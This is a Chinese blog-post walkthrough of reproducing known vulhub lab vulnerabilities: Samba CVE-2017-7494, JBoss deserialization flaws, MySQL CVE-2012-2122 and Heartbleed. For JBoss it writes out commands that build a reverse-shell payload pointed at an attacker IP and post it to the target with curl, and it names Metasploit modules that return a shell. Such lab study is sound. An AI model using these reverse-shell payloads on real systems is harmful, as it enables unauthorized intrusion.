小白之vulhub靶机之旅–第二篇

本次分享复现漏洞,全部在本地搭建的测试环境中,请勿非法使用,造成的不良影响均由实施者个人承担。

大家好,cmdback又来凑热闹了,我们接着来对vulhub漏洞靶机进行复现,今天主要来复现一下Samba远程代码执行漏洞(CVE-2017-7494)、jboss、MySql(CVE-2012-2122)、Openssl**滴血漏洞。小白所和大家分享的复现漏洞都是一些平常常见的,都是结合漏洞的原理以及一些代码分析来复现,这样可以更多的了解到漏洞触发的条件以及原理,小白还是那句话靶机终究是靶机,与实际的测试环境还有一定的差别,但是靶机可以给你一些思路,然后我们在这个思路的基础上面扩展我们的骚套路。

Samba远程代码执行漏洞

此漏洞的原因:Samba允许连接一个远程的命名管道,并且在连接前会调用is_known_pipename()函数验证管道名称是否合法。在is_known_pipename()函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。影响的版本为Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本,这个漏洞类似于MS17-010的windows版的。

我们先用docker编译一下漏洞环境:

图片.png这个漏洞的复现我们需要使用MSF工具来测试,首先我们先找到这个利用模块exploit/linux/samba/is_known_pipename:

图片.png设置目标地址以及端口信息,这个需要注意一点是我们需要知道可写目录的绝对路径,测试环境中可写的目录是/home/share:

图片.png

执行exploit进行漏洞攻击,如果成功的话就会返回一个shell通道,这样我们就可以成功获取到服务器的权限了:

图片.png

jboss

进入到这个jboss目录中我们发现有两个CVE和一个其它类型的漏洞,下面我们先复现一下这两个CVE的,它们属于jboss反序列化漏洞:

图片.pngCVE-2017-12149:

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞影响5.x和6.x版本的JBOSSAS。这个漏洞在实际环境中也常见,jboss毕竟是开源的,大多数企业根据业务需求都会有部署jboss。

图片.png

图片.png

首先我们先下载POC:git clone https://github.com/joaomatosf/JavaDeserH2HC ,下载完毕后在Kali中下载执行生成二进制的payload文件:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java  

如果下载payload成功的话就会生成一个文件:ExampleCommonsCollections1WithHashMap.ser

图片.png然后我们在kali主机上面执行接收shell的地址以及反弹的端口:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.106.128:6666,然后复制对话进行监听6666端口:

图片.png图片.png

对目标主机发送payload:

curl http://192.168.106.129:8080/invoker/readonly –data-binary @ReverseShellCommonsCollectionsHashMap.ser

图片.png当我们执行完毕发送payload后,kali就会反弹过来一个shell通道:

图片.pngCVE-2017-7504:

这个漏洞有一个简单的测试方法就是除了判断漏洞版本外,我们访问这个地址:http://ip:8080/jbossmq-httpil/HTTPServerILServlet/,如果可以正常访问的话,就证明有此漏洞的存在。

漏洞产生的原因:

HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层,默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用。它不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码。

图片.png图片.png

我们利用的方法还是和前面所讲的一样,通过下载二进制payload,然后对目标主机发送payload,攻击机进行监听某个端口,即可返回一个shell通道:

为了区别前面的,我们这次监听9999端口:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.106.128:9999,然后我们监听9999端口。

图片.png对存在漏洞的主机发送payload:curl http://192.168.106.129:8080/invoker/readonly –data-binary @ReverseShellCommonsCollectionsHashMap.ser,就会返回一个shell通道。

图片.pngJMXInvokerServlet-deserialization反序列化漏洞

漏洞成因:JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

图片.png漏洞复现我们不用之前那个脚本,有一款集成化的工具我们来使用一下,这个工具需要java环境,我们直接把存在漏洞的url放在里面进行验证是否能够执行远程命令:

图片.png

MySql(CVE-2012-2122)身份认证漏洞

存在该漏洞的版本Mysql允许攻击者穷举256次用户密码,便能成功登录Mysql服务器。这个缺陷的根源在于memcmp()函数总是返回-128到127(有符号字符)范围内的值。也就是说,只有在Linux系统使用SSE优化库(GNU C库)的场合下才能被利用。如果MySQL建立在这样一个系统上,那么源代码会拿用户输入的密码哈希表与数据库中某个特殊账户中存储的哈希表进行比对,有些情形下甚至可以允许输入密码不正确也能通过认证。

首先编译一下环境:

图片.png我们打开MSF工具利用漏洞模块:use auxiliary/scanner/mysql/mysql_authbypass_hashdump

图片.png设置目标主机的IP地址以及端口,正常情况下端口是3306:

图片.png通过漏洞验证发现,即使数据库的密码是错误的也会通过服务器的验证:

图片.pngOpenssl**滴血漏洞

OpenSSL**出血漏洞的大概原理是OpenSSL在2年前引入了心跳(heartbeat)机制来维持TLS链接的长期存在,心跳机制是作为TLS的扩展实现,但在代码中包括TLS(TCP)和DTLS(UDP)都没有做边界的检测,所以导致攻击者可以利用这个漏洞来获得TLS链接对端(可以是服务器,也可以是客户端)内存中的一些数据,至少可以获得16KB每次,理论上讲最大可以获取64KB。这个漏洞使得攻击者可以从存在漏洞的服务器上读取64KB大小的内存信息。这些信息中可能包含非常敏感的信息,包括用户请求、密码甚至证书的私钥。这个漏洞在内网中一般较多。

漏洞测试工具有许多,比如MSF、nmap、python脚本等,看自己的需求了。

图片.png

MSF中的auxiliary/scanner/ssl/openssl_heartbleed 模块:

图片.png

这个模块只能检测是否存在**滴血的漏洞:

图片.png使用nmap中的脚本进行检测:

图片.png

这次复现的大多数是可以获取到服务器权限的,如有不正确的地方,还望大佬们多多指教。好了,又是充实的一周,拜拜,周末愉快。

关注我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

ewm.png

更多精彩
取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php